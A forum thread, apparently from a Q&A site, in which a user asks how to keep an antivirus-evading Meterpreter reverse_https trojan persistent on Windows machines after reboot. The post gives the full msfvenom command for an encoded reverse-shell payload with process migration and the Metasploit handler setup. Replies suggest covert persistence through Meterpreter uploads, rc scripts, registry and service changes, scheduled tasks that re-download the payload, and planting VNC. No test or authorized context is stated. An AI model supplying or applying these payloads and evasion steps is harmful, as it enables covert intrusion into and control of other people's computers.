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Meterpreter reverse_https session lost upon restart (shortcut method)


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So I've created an .exe using reverse_https meterpreter shell code and it's undetectable. However, all of meterpreter's persistence methods resulted in the AV going off, so I decided to use NSIS to make an installer for my trojan. This does get detected by a few AVs, but it's as close to undetectable as I could get and still have persistence. It copies the .exe somewhere else and creates a shortcut in the user's startup folder so that the .exe is run upon sign in. However, meterpreter does not start a when the session is lost, and upon sign-in, nothing happens. The old session is still open, but unresponsive. I know that the .exe is run upon log-in because when I manually close the session, and then listen, it will pick up a new session.

How do I maintain access by using the shortcut method? Also, is there a better way to maintain persistence without NSIS? Using NSIS seems silly. I want the .exe to immediately have persistence without connecting back and then have metasploit tell it to do something.

Here is the shell code that I'm using:

msfvenom -p windows/meterpreter/reverse_https lhost=xxxx lport=xxxx PrepenMigrate=true PrependMigrateProc=svhost.exe -b '\x00\xff' -e x86/shikata_ga_nai -i 3 -f c

This is what I type when I start metasploit on Kali:

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set SessionCommunicationTimeout 0
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I'm not so sure nsis is necessary... you can use the meterprwter to upload files or write files to the destination folder... place a meterpreterin the startup folder...

You can use rc scripts with the exploit handler to automate meterpreter commands. When a shell is first established this rc script would execute...

from the meterpreter shell have you tried to modify the registry? Attempt to make a startup service... will this setoff the AV?

you have to keep trying new things, and take note of whAt Works...

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Sheduled tasks, environmental variables, aliases.

You can always write a scheduled task to check if your payload is running if not, start it, stop it, delete it, download and install a new version of the payload.

Maybe install a legitimate remote access tool on the machine. VNC or whatever.

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